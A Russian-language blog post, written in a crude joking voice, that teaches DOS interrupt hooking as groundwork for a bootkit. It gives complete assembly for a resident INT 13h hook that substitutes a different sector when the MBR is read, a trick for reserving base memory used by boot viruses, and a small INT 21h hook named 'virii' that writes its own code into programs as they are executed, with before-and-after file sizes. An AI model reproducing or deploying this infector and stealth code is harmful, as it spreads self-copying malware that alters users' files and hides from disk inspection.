Общее·количество·просмотров·страницы

воскресенье, 5 января 2014 г.

Перехват прерываний.

Ну во-первых, всех с Новым Годом!) Как грится дивиз 2014 года- еб*сь оно все конем))
========================================================================
"Ебать мой *уй"- так было бы  логичнее всего начать мое посленовогоднее послание).Напало стооолько работы,что я не то что не успеваю писать сюда,а даже сделать видео на конкурс...отакие пироги.

Но короче собрался я с силой мысли,духа и так далее и сегодня будет пост (в котором кстати будет в большинстве своем теория)о следующем т.н. этапе буткита-перехват прерывания(основная фишка буткита,с помощью которой он контролирует процесс загрузки операционной системы), мы должный понять, что новое-это хорошо забытое старое,что программируя на ассемблере важно знать строение процессора,его работу,что ДОС- это то что учит писать и думать на асме. Стает печально иногда видеть такой код "mov ax,0ну что это?)это не красиво,не по культурному.

В общем идея заключается в том что: как говорил мой учитель-каждый программист должен за всю жизнь написать вирус и операционную систему).
Первым мы как раз и займемся. А также рассмотрим установку МСДОС на виртуальную машину,и научимся закидывать в нее все что нам надо.

Начнемс-с пожалуй.

Как мы знаем, был такой чудесный процессор 8086.  Почему говорим о нем? Да потому что режим совместимости с командами поддерживается в моделях следующих процессоров.
8086 мог работать только в режиме R-mode ( режим в котором работает ДОС).Последующие модели сохранили режим совместимости с ним, а так же появились такие режимы как V-mode, что по своей сути представляет концепцию виртуальной машины на уровне процессора.

Как работает адресация? Самая маленькая единица адресуемого блока памяти является байт. Каждый байт имеет свое положение-физический адрес. Процессор обращается к ячейке памяти через физический адрес, делает он это через адресную шину.


 (АД- ножки,отвечающие за адресацию)

Если проще что бы адресовать 2 байта процессору надо было бы иметь шину в 1 бит. 0 -1 байт и 1- второй байт. Вот что подразумевает собой разрядность шины процессора. Почему 32 разрядный процессор поддерживает до 4 гб ОЗУ,а 64 уже выше, как раз актуальный пример)



в 8086 была 20 битная шина.( вспоминаем вентиль А20

in al, 92h
or al, 02h
out 92h, al

========
in al, 92h
and al, 0FDh
out 92h, al


)
что означает что 8086 адресовал всего лишь мегабайт памяти)

ну и мы подошли к сути: какжежтак скажите пожалуйтса регистры то 16 битные, а это значит что он адресовал не мегабайт , а 64 кб.?А вот и нет.Решение-сегментная адресация. физический адрес проецируется из 2-х 16 разрядных значений, для того что бы обратиться в любое место 20 битной шины, и видится он нам как : SEGMENT:OFFSET )))

НО стой! 16 да 16 дает нам 32- как выдрать гребанные 20?)
все просто- сегментный регистр (CS,DS,SS,ES) сдвигается влево на 4 бита, и заполняет младшие 4 бита шины -нулями затем прибавляется смещение-получаем адрес.Получается границы сегментов располагаются каждые 16 байт-параграфы. 4 битами можно адресовать 16 ячеек, каждая из них содержит один байт.

итак 2^16*16 ~= 1 мбайт)

это кстати используется в boot вирусах и буткитах также.

dec word [0413h]
mov ax,[0413h]      ;(откусываем базовую память, что бы быть резидентом)

shl ax,(10-4)   ; (конвертируем в параграфы)
mov es, ax

С основами покончено.Приступим к установке ДОС.

Как известно, в ДОС нельзя подключать всякие сетевые диски и т.д. и т.п. так что единственное что остается для работы со своими программами это скачать образ ISO DOS.

открываем его в программе ultraiso и перекидываем туда папочку с необходимыми нам программами, сохраняем. Теперь установка.










запускаем на дискете fdisk- создаем партицию.
после создания форматируем format C:/S


после того как форматировали , копируем необходимые файлы:

C:
md doss
copy A:\*.* .\doss
copy  A:\cd1.sys
copy A:\autoexec.bat
copy A:\himem.sys
copy A:\config.sys

copy R:\example C:\

все,готово.Устанавливаем загрузку с харда.







Приступаем к написанию кода.

Я создам несколько программ для разных методов перехвата.

есть 2 метода:

1)через прерывания ДОС
2)прямой манипуляцией таблицей векторов прерываний.

Начнем со второго, код слегка сложен, но в целом понятен. Данная программа будет выполнять функцию «стэлс» (как загрузочные вирусы-только резидент).Она не приносит никакого вреда,а лишь показывает основные аспекты перехвата прерываний взаимодействием с таблицей векторов прерываний. При попытке прочесть mbr- будет подставляться другой сектор.

Сначала код, потом комментирование кода.

.model tiny
 .code
 .startup

 jmp start
myint13:

 cmp ah,2 
 jne origint13h
 cmp cx,1
 jne origint13h

 mov ah,2
 mov al,1
 mov cx,4
 mov dx,80
 jmp origint13h

origint13h:
 jmp cs:dword ptr orig13h

orig13h dw ?

start:
     xor  ax,ax
     mov ds,ax
     mov ax,offset myint13
     cli
     xchg word ptr ds:[13h*4],ax
     mov word ptr cs:[orig13h],ax
     mov ax,cs
     xchg word ptr ds:[13h*4+2],ax
     mov word ptr cs:[orig13h+2],ax
     sti
     push cs
     pop ds


 lea   dx, start
 int 27h

; mov ax, 4c00h
 ;int 21h
end

итак: прыгаем на инициализацию кода.Попадаем сразу же на start.
ax=ds=0  т.к. IVT (interrupt vector table - таблица векторов прерываний) находится по адресу 0000:0000. (состоит из 256 элементов,к сведению). Далее в ax указывается т.н. ISR- interrupt service routine - то, куда будет перекидываться прерывание, при условии что будут выполняться определенные условия (тавтология)).Иначе говоря как и в перехвате в windows- обработчик. Затем, в целях безопасности, сбрасываем флаг IF и запрещаем прерываться.  Далее уже просто- номер нашего прерывания (13- работа с дисковым в\в) надо помножить на 4, (т.к. в реальном режиме работы процессора один элемент таблицы векторов прерываний это 32 битный адрес обработчика),и получить дескриптор к ISR ,сначала в сегменте, потом в оффсете. после чего снова запускаем прерывания с уже измененным обработчиком. и устанавливаем резидент(т.е. основная часть завершается, а обработчик «вешается» в память через int 27h). обработчик вообще элементарен:

проверяем, читают ли сектора- если нет, отдаем управление оригинальному обработчику
проверяем, это mbr- если нет, отдаем управление оригинальному обработчику.

если читают mbr - мы читаем свой сектор и возвращаем его.Вот в принципе и все.

напишем простой листинг для чтения mbr.

.model tiny
.code
org 100h

start:

mov cx,1
;mov dx,80h
mov ax,0201h
int 13h

push bx


xor cx,cx
lea dx, FileName
mov ah, 3ch
int 21h

pop bx
xchg dx,bx
xor bx,bx

xchg bx, ax

mov cx, 512
mov ah, 40h
int 21h
mov ah, 3eh
int 21h

ret

.data
FileName db '1.txt',0
end start


смотрим как это работает.










видим подмену сектора)))


Переходим к пункту 1)-установка перехвата с помощью прерывания ДОС

Код схож, но более минималистичен, за счет чего проще понимается.

Код-потом комментирование.

.model tiny
.code
 org   100h

start:

          mov ah,35h
          mov al,21h
          int 21h
          mov  word ptr [int21],bx
          mov  word ptr [int21+02h],es

          mov     ah,25h
          mov     dx,offset virii
          int     21h

          xchg    ax,dx
          int     27h

virii  proc
          cmp     ah,4bh
          jne     int21_exit

          mov     ax,3d02h
          int     21h
          xchg    ax,bx

          push    cs
          pop     ds

          mov     ah,40h
          mov     cx,(start-endd)
          mov     dx,offset start
int21_exit:
db       0eah

endd:
int21   dd ?

endp
.data
virnamefuckyou  db      '6EQUJ5_WOW!'
end  start

тут все в разы проще.

с помощью ah,35h и al- номер прерывания перехвата устанавливаем обработчик прерывания, тут и комментировать нечего.
в обработчике просто- перехватываем функцию exec 4bh- если открыли- записываем свой код в файл.

маленький-да удаленький как говорится.

скриншоты до запуска и после:

файл victim.com состоит только из инструкции ret и не делает абсолютно ничего.его размер до запуска составляет 1байт.

размер изменился)



а теперь главное,что мне удалось добиться используя фрэймворк одного буткита:


  
Вот и сказочке конец, а кто слушал- молодец и очень психически стойкий человек)))


на последок как обычно чуть фото,я теперь возьму это в традицию)

группа КиШ

 Вы любите ночь?



То,что пропускает мир через призму иллюзий)
 рабочее место)

Комментариев нет:

Отправить комментарий